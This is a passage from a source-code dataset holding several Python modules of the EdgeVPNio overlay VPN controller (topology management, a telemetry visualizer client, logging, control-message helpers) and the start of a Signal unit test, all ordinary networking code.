elif cbt.request.action == \"LNK_REMOVE_TUNNEL\":\n self.resp_handler_remove_tnl(cbt)\n elif cbt.request.action == \"SIG_REMOTE_ACTION\":\n self.resp_handler_remote_action(cbt)\n elif cbt.request.action == \"LNK_AUTH_TUNNEL\":\n self.resp_handler_auth_tunnel(cbt)\n else:\n parent_cbt = cbt.parent\n cbt_data = cbt.response.data\n cbt_status = cbt.response.status\n self.free_cbt(cbt)\n if (parent_cbt is not None and parent_cbt.child_count == 1):\n parent_cbt.set_response(cbt_data, cbt_status)\n self.complete_cbt(parent_cbt)\n\n def _manage_topology(self):\n # Periodically refresh the topology, making sure desired links exist and exipred ones are\n # removed.\n for olid in self._net_ovls:\n self._update_overlay(olid)\n\n def timer_method(self):\n with self._lock:\n self._manage_topology()\n self.log(\"LOG_INFO\", \"State=%s\", str(self))\n\n def top_add_edge(self, overlay_id, peer_id, edge_id):\n \"\"\"\n Instruct LinkManager to commence building a tunnel to the specified peer\n \"\"\"\n self.register_cbt(\"Logger\", \"LOG_INFO\", \"Creating peer edge {0}:{1}->{2}\"\n .format(overlay_id[:7], self.node_id[:7], peer_id[:7]))\n params = {\"OverlayId\": overlay_id, \"PeerId\": peer_id, \"TunnelId\": edge_id}\n self.register_cbt(\"LinkManager\", \"LNK_CREATE_TUNNEL\", params)\n\n def top_remove_edge(self, overlay_id, peer_id):\n self.register_cbt(\"Logger\", \"LOG_INFO\", \"Removing peer edge {0}:{1}->{2}\"\n .format(overlay_id, self.node_id[:7], peer_id[:7]))\n params = {\"OverlayId\": overlay_id, \"PeerId\": peer_id}\n self.register_cbt(\"LinkManager\", \"LNK_REMOVE_TUNNEL\", params)\n\n #def top_log(self, *msg, level=\"LOG_DEBUG\"):\n # self.log(level, *msg)\n\n def top_send_negotiate_edge_req(self, edge_req):\n \"\"\"Role Node A, Send a request to create an edge to the peer \"\"\"\n self.log(\"LOG_DEBUG\", \"Requesting edge auth edge_req=%s\", edge_req)\n edge_params = edge_req._asdict()\n rem_act = RemoteAction(edge_req.overlay_id, recipient_id=edge_req.recipient_id,\n recipient_cm=\"Topology\", action=\"TOP_NEGOTIATE_EDGE\",\n params=edge_params)\n rem_act.submit_remote_act(self)\n\n def _do_topo_change_post(self, overlay_id):\n # create and post the dict of adjacent connection edges\n adjl = self._net_ovls[overlay_id][\"NetBuilder\"].get_adj_list()\n topo = {}\n for peer_id in adjl.conn_edges:\n if adjl.conn_edges[peer_id].edge_state == \"CEStateConnected\":\n topo[peer_id] = dict(adjl.conn_edges[peer_id]) # create a dict from CE\n update = {\"OverlayId\": overlay_id, \"Topology\": topo}\n self._topo_changed_publisher.post_update(update)\n\n def _update_overlay(self, olid):\n net_ovl = self._net_ovls[olid]\n nb = net_ovl[\"NetBuilder\"]\n if nb.is_ready:\n net_ovl[\"NewPeerCount\"] = 0\n ovl_cfg = self.config[\"Overlays\"][olid]\n self.register_cbt(\"Logger\", \"LOG_DEBUG\", \"Netbuilder initiating refresh ...\")\n enf_lnks = ovl_cfg.get(\"EnforcedEdges\", [])\n peer_list = [peer_id for peer_id in net_ovl[\"KnownPeers\"] \\\n if net_ovl[\"KnownPeers\"][peer_id].is_available]\n if not peer_list:\n return\n self.register_cbt(\"Logger\", \"LOG_DEBUG\", \"Peerlist for Netbuilder {0}\"\n .format(peer_list))\n\n max_succ = int(ovl_cfg.get(\"MaxSuccessors\", 1))\n max_ond = int(ovl_cfg.get(\"MaxOnDemandEdges\", 2))\n num_peers = len(peer_list) if len(peer_list) > 1 else 2\n max_ldl = int(ovl_cfg.get(\"MaxLongDistEdges\", math.ceil(math.log(num_peers+1, 2))))\n manual_topo = ovl_cfg.get(\"ManualTopology\", False)\n if self.config[\"Overlays\"][olid].get(\"Role\", \"Switch\").casefold() == \\\n \"leaf\".casefold():\n manual_topo = True\n params = {\"OverlayId\": olid, \"NodeId\": self.node_id, \"ManualTopology\": manual_topo,\n \"EnforcedEdges\": enf_lnks, \"MaxSuccessors\": max_succ,\n \"MaxLongDistEdges\": max_ldl, \"MaxOnDemandEdges\": max_ond}\n gb = GraphBuilder(params, top=self)\n curr_adjl = nb.get_adj_list()\n rlc = net_ovl[\"RelinkCount\"]\n is_relink = False\n if (len(peer_list) / rlc <= 0.5) or (len(peer_list) / rlc >= 1.5):\n # perform relink op for LDL\n net_ovl[\"RelinkCount\"] = len(peer_list) if peer_list else 1\n is_relink = True\n self.log(\"LOG_INFO\", \"RELINKing condition met but currently ignored!\")\n adjl = gb.build_adj_list(peer_list, curr_adjl, net_ovl[\"OndPeers\"], relink=False)\n nb.refresh(adjl)\n else:\n self.log(\"LOG_DEBUG\", \"Resuming Netbuilder refresh\")\n nb.refresh()\n\n def _authorize_edge(self, overlay_id, peer_id, edge_id, parent_cbt):\n self.register_cbt(\"Logger\", \"LOG_INFO\", \"Authorizing peer edge from {0}:{1}->{2}\"\n .format(overlay_id, peer_id[:7], self.node_id[:7]))\n params = {\"OverlayId\": overlay_id, \"PeerId\": peer_id, \"TunnelId\": edge_id}\n cbt = self.create_linked_cbt(parent_cbt)\n cbt.set_request(self.module_name, \"LinkManager\", \"LNK_AUTH_TUNNEL\", params)\n self.submit_cbt(cbt)\n", "id": "2518698", "language": "Python", "matching_score": 5.608907222747803, "max_stars_count": 0, "path": "controller/modules/Topology.py" }, { "content": "# EdgeVPNio\n# Copyright 2020, University of Florida\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\ntry:\n import simplejson as json\nexcept ImportError:\n import json\nimport threading\nfrom collections import defaultdict\nimport requests\nfrom framework.ControllerModule import ControllerModule\n\n\nclass OverlayVisualizer(ControllerModule):\n def __init__(self, cfx_handle, module_config, module_name):\n super(OverlayVisualizer, self).__init__(cfx_handle,\n module_config, module_name)\n # Visualizer webservice URL\n self.vis_address = \"http://\" + self._cm_config[\"WebServiceAddress\"]\n self._vis_req_publisher = None\n self._evio_version = self._cfx_handle.query_param(\"Version\")\n\n # The visualizer dataset which is forwarded to the collector service\n self._vis_ds = dict(NodeId=self.node_id, VizData=defaultdict(dict))\n # Its lock\n self._vis_ds_lock = threading.Lock()\n\n def initialize(self):\n # We're using the pub-sub model here to gather data for the visualizer\n # from other modules\n # Using this publisher, the OverlayVisualizer publishes events in the\n # timer_method() and all subscribing modules are expected to reply\n # with the data they want to forward to the visualiser\n self._vis_req_publisher = \\\n self._cfx_handle.publish_subscription(\"VIS_DATA_REQ\")\n\n self.register_cbt(\"Logger\", \"LOG_INFO\", \"Module loaded\")\n\n def process_cbt(self, cbt):\n if cbt.op_type == \"Response\":\n if cbt.request.action == \"VIS_DATA_REQ\":\n msg = cbt.response.data\n\n if cbt.response.status and msg:\n with self._vis_ds_lock:\n for mod_name in msg:\n for ovrl_id in msg[mod_name]:\n self._vis_ds[\"VizData\"][ovrl_id][mod_name] = msg[mod_name][ovrl_id]\n else:\n warn_msg = \"Got no data in CBT response from module\" \\\n \" {}\".format(cbt.request.recipient)\n self.register_cbt(\"Logger\", \"LOG_WARNING\", warn_msg)\n self.free_cbt(cbt)\n else:\n parent_cbt = cbt.parent\n cbt_data = cbt.response.data\n cbt_status = cbt.response.status\n self.free_cbt(cbt)\n if (parent_cbt is not None and parent_cbt.child_count == 1):\n parent_cbt.set_response(cbt_data, cbt_status)\n self.complete_cbt(parent_cbt)\n\n else:\n self.req_handler_default(cbt)\n\n def timer_method(self):\n with self._vis_ds_lock:\n vis_ds = self._vis_ds\n # flush old data, next itr provides new data\n self._vis_ds = dict(NodeId=self.node_id,\n VizData=defaultdict(dict))\n\n collector_msg = dict(VizData=dict())\n\n # Filter out overlays for which we do not have LinkManager data\n for overlay_id in vis_ds[\"VizData\"]:\n overlay_data = vis_ds[\"VizData\"][overlay_id]\n if \"LinkManager\" in overlay_data and overlay_data[\"LinkManager\"]:\n collector_msg[\"VizData\"][overlay_id] = overlay_data\n\n if collector_msg[\"VizData\"]:\n\n # Read the optional human-readable node name specified in the\n # configuration and pass it along to the collector\n if \"NodeName\" in self._cm_config:\n collector_msg[\"NodeName\"] = self._cm_config[\"NodeName\"]\n\n collector_msg[\"Version\"] = self._evio_version\n # data_log = \"Submitting VizData {}\".format(collector_msg)\n # self.register_cbt(\"Logger\", \"LOG_DEBUG\", data_log)\n\n req_url = \"{}/EVIO/nodes/{}\".format(self.vis_address, self.node_id)\n\n try:\n resp = requests.put(req_url,\n data=json.dumps(collector_msg),\n headers={\"Content-Type\":\n \"application/json\"},\n timeout=3)\n resp.raise_for_status()\n\n except requests.exceptions.RequestException as err:\n err_msg = \"Failed to send data to the Visualizer\" \\\n \" webservice({0}). Exception: {1}\" \\\n .format(self.vis_address, str(err))\n self.register_cbt(\"Logger\", \"LOG_WARNING\", err_msg)\n else:\n warn_msg = \"Don't have enough data to send. Not forwarding\" \\\n \" anything to the collector service. Data:\" \\\n \" {}\".format(collector_msg)\n self.register_cbt(\"Logger\", \"LOG_WARNING\", warn_msg)\n\n # Now that all the accumulated data has been dealt with, we request\n # more data\n self._vis_req_publisher.post_update(None)\n\n def terminate(self):\n pass\n", "id": "11709568", "language": "Python", "matching_score": 4.585627555847168, "max_stars_count": 0, "path": "controller/modules/OverlayVisualizer.py" }, { "content": "# EdgeVPNio\n# Copyright 2020, University of Florida\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport logging\nimport logging.handlers as lh\nimport os\nfrom framework.ControllerModule import ControllerModule\n\n\nclass Logger(ControllerModule):\n def __init__(self, cfx_handle, module_config, module_name):\n super(Logger, self).__init__(cfx_handle, module_config, module_name)\n self._logger = None\n\n def initialize(self):\n # Extracts the controller Log Level from the evio config file,\n # If nothing is provided the default is INFO\n level = logging.INFO\n if \"LogLevel\" in self._cm_config:\n level = getattr(logging, self._cm_config[\"LogLevel\"])\n\n # If the Logging is set to Console by the User\n if self._cm_config[\"Device\"] == \"Console\":\n # Console logging\n logging.basicConfig(format=\"[%(asctime)s.%(msecs)03d] %(levelname)s: %(message)s\",\n datefmt=\"%H:%M:%S\",\n level=level)\n self._logger = logging.getLogger(\"EdgeVPNio console logger\")\n\n # If the Logging is set to File by the User\n elif self._cm_config[\"Device\"] == \"File\":\n # Extracts the filepath else sets logs to current working directory\n filepath = self._cm_config.get(\"Directory\", \"./\")\n fqname = os.path.join(filepath,\n self._cm_config.get(\"CtrlLogFileName\", \"ctrl.log\"))\n if not os.path.exists(filepath):\n os.makedirs(filepath, exist_ok=True)\n if os.path.isfile(fqname):\n os.remove(fqname)\n self._logger = logging.getLogger(\"EdgeVPNio Rotating Log\")\n self._logger.setLevel(level)\n # Creates rotating filehandler\n handler = lh.RotatingFileHandler(filename=fqname,\n maxBytes=self._cm_config[\"MaxFileSize\"],\n backupCount=self._cm_config[\"MaxArchives\"])\n formatter = logging.Formatter(\n \"[%(asctime)s.%(msecs)03d] %(levelname)s:%(message)s\", datefmt=\"%Y%m%d %H:%M:%S\")\n handler.setFormatter(formatter)\n # Adds the filehandler to the Python logger module\n self._logger.addHandler(handler)\n\n # If the Logging is set to All by the User\n else:\n self._logger = logging.getLogger(\"EdgeVPNio Console & File Logger\")\n self._logger.setLevel(level)\n\n #Console Logger\n console_handler = logging.StreamHandler()\n console_log_formatter = logging.Formatter(\n \"[%(asctime)s.%(msecs)03d] %(levelname)s: %(message)s\",\n datefmt=\"%H:%M:%S\")\n console_handler.setFormatter(console_log_formatter)\n self._logger.addHandler(console_handler)\n\n # Extracts the filepath else sets logs to current working directory\n filepath = self._cm_config.get(\"Directory\", \"./\")\n fqname = os.path.join(filepath,\n self._cm_config.get(\"CtrlLogFileName\", \"ctrl.log\"))\n if not os.path.exists(filepath):\n os.makedirs(filepath, exist_ok=True)\n if os.path.isfile(fqname):\n os.remove(fqname)\n\n #File Logger\n # Creates rotating filehandler\n file_handler = lh.RotatingFileHandler(filename=fqname)\n file_log_formatter = logging.Formatter(\n \"[%(asctime)s.%(msecs)03d] %(levelname)s:%(message)s\", datefmt=\"%Y%m%d %H:%M:%S\")\n file_handler.setFormatter(file_log_formatter)\n self._logger.addHandler(file_handler)\n\n self._logger.info(\"Logger: Module loaded\")\n\n def process_cbt(self, cbt):\n if cbt.op_type == \"Request\":\n lvl = cbt.request.action\n mod = cbt.request.initiator\n if isinstance(cbt.request.params, tuple):\n fmt = \"%s: \"+ cbt.request.params[0]\n vals = cbt.request.params[1]\n else:\n fmt = \"%s: %s\"\n vals = [cbt.request.params]\n\n if lvl == \"LOG_DEBUG\":\n self._logger.debug(fmt, mod, *vals)\n cbt.set_response(None, True)\n elif lvl == \"LOG_INFO\":\n self._logger.info(fmt, mod, *vals)\n cbt.set_response(None, True)\n elif lvl == \"LOG_WARNING\":\n self._logger.warning(fmt, mod, *vals)\n cbt.set_response(None, True)\n elif lvl == \"LOG_ERROR\":\n self._logger.error(fmt, mod, *vals)\n cbt.set_response(None, True)\n elif lvl == \"LOG_QUERY_CONFIG\":\n cbt.set_response(self._cm_config, True)\n else:\n self._logger.warning(\"%s: Unsupported CBT action %s\", self._module_name, str(cbt))\n cbt.set_response(\"Unsupported CBT action\", False)\n self.complete_cbt(cbt)\n\n elif cbt.op_type == \"Response\":\n self.free_cbt(cbt)\n\n def timer_method(self):\n pass\n\n def terminate(self):\n logging.shutdown()\n", "id": "1811107", "language": "Python", "matching_score": 1.8349205255508423, "max_stars_count": 0, "path": "controller/modules/Logger.py" }, { "content": "# EdgeVPNio\r\n# Copyright 2020, University of Florida\r\n#\r\n# Permission is hereby granted, free of charge, to any person obtaining a copy\r\n# of this software and associated documentation files (the \"Software\"), to deal\r\n# in the Software without restriction, including without limitation the rights\r\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n# copies of the Software, and to permit persons to whom the Software is\r\n# furnished to do so, subject to the following conditions:\r\n#\r\n# The above copyright notice and this permission notice shall be included in\r\n# all copies or substantial portions of the Software.\r\n#\r\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n# THE SOFTWARE.\r\n\r\nimport subprocess\r\nimport framework.Version as ver\r\n\r\nCTL_CREATE_CTRL_LINK = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"TransactionId\": 0,\r\n \"ControlType\": \"TincanRequest\",\r\n \"Request\": {\r\n \"Command\": \"CreateCtrlRespLink\",\r\n \"AddressFamily\": \"af_inetv6\",\r\n \"Protocol\": \"proto_datagram\",\r\n \"IP\": \"::1\",\r\n \"Port\": 5801\r\n }\r\n }\r\n}\r\nCTL_CONFIGURE_LOGGING = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"TransactionId\": 0,\r\n \"ControlType\": \"TincanRequest\",\r\n \"Request\": {\r\n \"Command\": \"ConfigureLogging\",\r\n \"Level\": \"DEBUG\",\r\n \"Device\": \"All\",\r\n \"Directory\": \"./logs/\",\r\n \"Filename\": \"tincan_log\",\r\n \"MaxArchives\": 10,\r\n \"MaxFileSize\": 1048576,\r\n \"ConsoleLevel\": \"DEBUG\"\r\n }\r\n }\r\n}\r\nCTL_QUERY_TUNNEL_INFO = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"TransactionId\": 0,\r\n \"ControlType\": \"TincanRequest\",\r\n \"Request\": {\r\n \"Command\": \"QueryOverlayInfo\",\r\n \"OverlayId\": \"\",\r\n \"TunnelId\": \"\"\r\n }\r\n }\r\n}\r\nCTL_CREATE_TUNNEL = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"ControlType\": \"TincanRequest\",\r\n \"TransactionId\": 0,\r\n \"Request\": {\r\n \"Command\": \"CreateTunnel\",\r\n \"OverlayId\": \"\",\r\n \"NodeId\": \"\",\r\n \"TunnelId\": \"\",\r\n \"TapName\": \"\",\r\n \"StunServers\": [],\r\n \"TurnServers\": [],\r\n \"Type\": \"\",\r\n }\r\n }\r\n}\r\nCTL_CREATE_LINK = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"TransactionId\": 0,\r\n \"ControlType\": \"TincanRequest\",\r\n \"Request\": {\r\n \"Command\": \"CreateLink\",\r\n \"OverlayId\": \"\",\r\n \"TunnelId\": \"\",\r\n \"LinkId\": \"\",\r\n \"PeerInfo\": {\r\n \"UID\": \"\",\r\n \"MAC\": \"\",\r\n \"FPR\": \"\"\r\n }\r\n }\r\n }\r\n}\r\nCTL_REMOVE_TUNNEL = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"TransactionId\": 0,\r\n \"ControlType\": \"TincanRequest\",\r\n \"Request\": {\r\n \"Command\": \"RemoveTunnel\",\r\n \"OverlayId\": \"\",\r\n \"TunnelId\": \"\"\r\n }\r\n }\r\n}\r\nCTL_REMOVE_LINK = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"TransactionId\": 0,\r\n \"ControlType\": \"TincanRequest\",\r\n \"Request\": {\r\n \"Command\": \"RemoveLink\",\r\n \"OverlayId\": \"\",\r\n \"LinkId\": \"\"\r\n }\r\n }\r\n}\r\nRESP = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"TransactionId\": 0,\r\n \"ControlType\": \"TincanResponse\",\r\n \"Request\": {\r\n },\r\n \"Response\": {\r\n \"Success\": True,\r\n \"Message\": \"description\"\r\n }\r\n }\r\n}\r\nCTL_QUERY_LINK_STATS = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"TransactionId\": 0,\r\n \"ControlType\": \"TincanRequest\",\r\n \"Request\": {\r\n \"Command\": \"QueryLinkStats\",\r\n \"TunnelIds\" : []\r\n }\r\n }\r\n}\r\nCTL_QUERY_CAS = {\r\n \"EVIO\": {\r\n \"ProtocolVersion\": ver.EVIO_VER_CTL,\r\n \"TransactionId\": 0,\r\n \"ControlType\": \"TincanRequest\",\r\n \"Request\": {\r\n \"Command\": \"QueryCandidateAddressSet\",\r\n \"OverlayId\": \"\",\r\n \"LinkId\": \"\"\r\n }\r\n }\r\n}\r\n\r\n\r\ndef ip4_a2hex(ipstr):\r\n return \"\".join(hex(int(x, 10))[2:] for x in ipstr.split(\".\"))\r\n\r\n\r\ndef ip6_a2b(str_ip6):\r\n return b\"\".join(int(x, 16).to_bytes(2, byteorder=\"big\") for x in str_ip6.split(\":\"))\r\n\r\ndef ip6_b2a(bin_ip6):\r\n return \"\".join(\"%04x\" % int.from_bytes(bin_ip6[i:i + 2], byteorder=\"big\") + \":\"\r\n for i in range(0, 16, 2))[:-1]\r\n\r\ndef ip4_a2b(str_ip4):\r\n return b\"\".join(int(x, 10).to_bytes(1, byteorder=\"big\") for x in str_ip4.split(\".\"))\r\n\r\ndef ip4_b2a(bin_ip4):\r\n return \"\".join(str(int.from_bytes(bin_ip4[i:i + 1], byteorder=\"big\")) + \".\"\r\n for i in range(0, 4, 1))[:-1]\r\n\r\ndef mac_a2b(str_mac):\r\n return b\"\".join(int(x, 16).to_bytes(1, byteorder=\"big\") for x in str_mac.split(\":\"))\r\n\r\ndef mac_b2a(bin_mac):\r\n return \"\".join(\"%02x\" % int.from_bytes(bin_mac[i:i + 1], byteorder=\"big\") + \":\"\r\n for i in range(0, 6, 1))[:-1]\r\n\r\ndef delim_mac_str(mac_str, delim=\":\"):\r\n if not mac_str:\r\n return None\r\n return str(mac_str[:2] + delim + mac_str[2:4] + delim + mac_str[4:6] + delim + mac_str[6:8] +\r\n delim + mac_str[8:10] + delim + mac_str[10:12]).lower()\r\n\r\ndef uid_a2b(str_uid):\r\n return int(str_uid, 16).to_bytes(20, byteorder=\"big\")\r\n\r\ndef uid_b2a(bin_uid):\r\n return \"%40x\" % int.from_bytes(bin_uid, byteorder=\"big\")\r\n\r\ndef hexstr2b(hexstr):\r\n return b\"\".join(int(hexstr[i:i + 2], 16).to_bytes(1, byteorder=\"big\") \\\r\n for i in range(0, len(hexstr), 2))\r\n\r\ndef b2hexstr(binary):\r\n return \"\".join(\"%02x\" % int.from_bytes(binary[i:i + 1], byteorder=\"big\") \\\r\n for i in range(0, len(binary), 1))\r\n\r\ndef gen_ip4(uid, peer_map, ip4):\r\n try:\r\n return peer_map[uid]\r\n except KeyError as error:\r\n print(\"Exception Caught in Modlib: {0}\".format(str(error)))\r\n ips = set(peer_map.values())\r\n prefix, _ = ip4.rsplit(\".\", 1)\r\n # we allocate *.101 - *254 ensuring a 3-digit suffix and avoiding the\r\n # broadcast address; *.100 is the IPv4 address of this node\r\n for i in range(101, 255):\r\n peer_map[uid] = \"%s.%s\" % (prefix, i)\r\n if peer_map[uid] not in ips:\r\n return peer_map[uid]\r\n del peer_map[uid]\r\n raise OverflowError(\"too many peers, out of IPv4 addresses\")\r\n\r\n\r\n# Function to add 2 hex data and return the result\r\ndef addhex(data1, data2):\r\n bindata1 = list((\"{0:0\" + str((len(data1)) * 4) + \"b}\").format(int(data1, 16)))\r\n bindata2 = list((\"{0:0\" + str((len(data2)) * 4) + \"b}\").format(int(data2, 16)))\r\n if len(bindata1) == len(bindata2):\r\n j = len(bindata1) - 1\r\n elif len(bindata1) > len(bindata2):\r\n j = len(bindata1) - 1\r\n bindata2 = [0] * (len(bindata1) - len(bindata2)) + bindata2\r\n else:\r\n j = len(bindata2) - 1\r\n bindata1 = [0] * (len(bindata2) - len(bindata1)) + bindata1\r\n\r\n carry = 0\r\n result = []\r\n while j > 0:\r\n summer = carry + int(bindata1[j]) + int(bindata2[j])\r\n result.insert(0, str(summer % 2))\r\n carry = summer / 2\r\n j -= 1\r\n return hex(int(\"\".join(result), 2))\r\n\r\n\r\n# Function to calculate checksum and return it in HEX format\r\ndef getchecksum(hexstr):\r\n result = \"0000\"\r\n for i in range(0, len(hexstr), 4):\r\n result = addhex(result, hexstr[i:i + 4])\r\n if len(result) != 4:\r\n result = addhex(result[0:len(result) - 4], result[len(result) - 4:])\r\n return hex(65535 ^ int(result, 16))\r\n\r\ndef runshell(cmd):\r\n \"\"\" Run a shell command \"\"\"\r\n #print(cmd)\r\n return subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False)\r\n\r\ndef create_process(cmdlist):\r\n \"\"\" Run a shell command \"\"\"\r\n return subprocess.Popen(cmdlist)\r\n\r\nclass RemoteAction():\r\n def __init__(self, overlay_id, recipient_id, recipient_cm, action, params,\r\n parent_cbt=None, frm_cbt=None, status=None, data=None):\r\n self.overlay_id = overlay_id\r\n self.recipient_id = recipient_id\r\n self.recipient_cm = recipient_cm\r\n self.action = action\r\n self.params = params\r\n self._parent_cbt = parent_cbt\r\n self.cbt = frm_cbt\r\n self.initiator_id = None\r\n self.initiator_cm = None\r\n self.action_tag = None\r\n self.status = status\r\n self.data = data\r\n\r\n def __iter__(self):\r\n yield(\"OverlayId\", self.overlay_id)\r\n yield(\"RecipientId\", self.recipient_id)\r\n yield(\"RecipientCM\", self.recipient_cm)\r\n yield(\"Action\", self.action)\r\n yield(\"Params\", self.params)\r\n if self.initiator_id:\r\n yield(\"InitiatorId\", self.initiator_id)\r\n if self.initiator_cm:\r\n yield(\"InitiatorCM\", self.initiator_cm)\r\n if self.action_tag:\r\n yield(\"ActionTag\", self.action_tag)\r\n if self.status:\r\n yield(\"Status\", self.status)\r\n if self.data:\r\n yield(\"Data\", self.data)\r\n\r\n def submit_remote_act(self, cm):\r\n self.initiator_id = cm.node_id\r\n self.initiator_cm = cm.module_name\r\n ra_desc = dict(self)\r\n if self._parent_cbt is not None:\r\n cbt = cm.create_linked_cbt(self._parent_cbt)\r\n cbt.set_request(cm.module_name, \"Signal\", \"SIG_REMOTE_ACTION\", ra_desc)\r\n else:\r\n cbt = cm.create_cbt(cm.module_name, \"Signal\", \"SIG_REMOTE_ACTION\", ra_desc)\r\n self.action_tag = cbt.tag\r\n cm.submit_cbt(cbt)\r\n\r\n @classmethod\r\n def from_cbt(cls, cbt):\r\n reqp = cbt.request.params\r\n rem_act = cls(reqp[\"OverlayId\"], reqp[\"RecipientId\"], reqp[\"RecipientCM\"],\r\n reqp[\"Action\"], reqp[\"Params\"], frm_cbt=cbt)\r\n rem_act.initiator_id = reqp[\"InitiatorId\"]\r\n rem_act.initiator_cm = reqp[\"InitiatorCM\"]\r\n rem_act.action_tag = cbt.tag\r\n if cbt.op_type == \"Response\":\r\n rem_act.status = cbt.response.status\r\n rem_act.data = cbt.response.data\r\n if isinstance(rem_act.data, dict):\r\n rem_act.data = rem_act.data[\"Data\"]\r\n return rem_act\r\n\r\n def tx_remote_act(self, sig):\r\n if self.overlay_id not in sig.overlays:\r\n self.cbt.set_response(\"Overlay ID not found\", False)\r\n sig.complete_cbt(self.cbt)\r\n return\r\n rem_act = dict(self)\r\n sig.transmit_remote_act(rem_act, self.recipient_id, \"invk\")\r\n", "id": "4287632", "language": "Python", "matching_score": 2.98418927192688, "max_stars_count": 21, "path": "controller/framework/Modlib.py" }, { "content": "# EdgeVPNio\n# Copyright 2020, University of Florida\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport importlib\nimport time\nimport unittest\nfrom queue import Queue\nfrom time import sleep\nfrom unittest.mock import MagicMock, Mock, patch\n\nfrom slixmpp import register_stanza_plugin, Message, Callback, StanzaPath, JID\n\nfrom framework.CBT import CBT\nfrom framework.CFxHandle import CFxHandle\nfrom modules.Signal import XmppTransport, JidCache, EvioSignal\n\n\nclass SignalTest(unittest.TestCase):\n\n def setup_vars_mocks(self):\n \"\"\"\n Setup the variables and the mocks required by the unit tests.\n :return: The signal object and signal dictionary\n \"\"\"\n cfx_handle = Mock()\n module = importlib.import_module(\"modules.{0}\"\n .format(\"Signal\"))\n module_class = getattr(module, \"Signal\")\n sig_dict = {\n \"Signal\": {\n \"Enabled\": True,\n \"PresenceInterval\": 10,\n \"CacheExpiry\": 5,\n \"Overlays\": {\n \"A0FB389\": {\n \"HostAddress\": \"1.1.1.1\",\n \"Port\": \"5222\",\n \"Username\": \"raj\",\n \"Password\": \"raj\",\n \"AuthenticationMethod\": \"PASSWORD\"\n }\n },\n \"NodeId\": 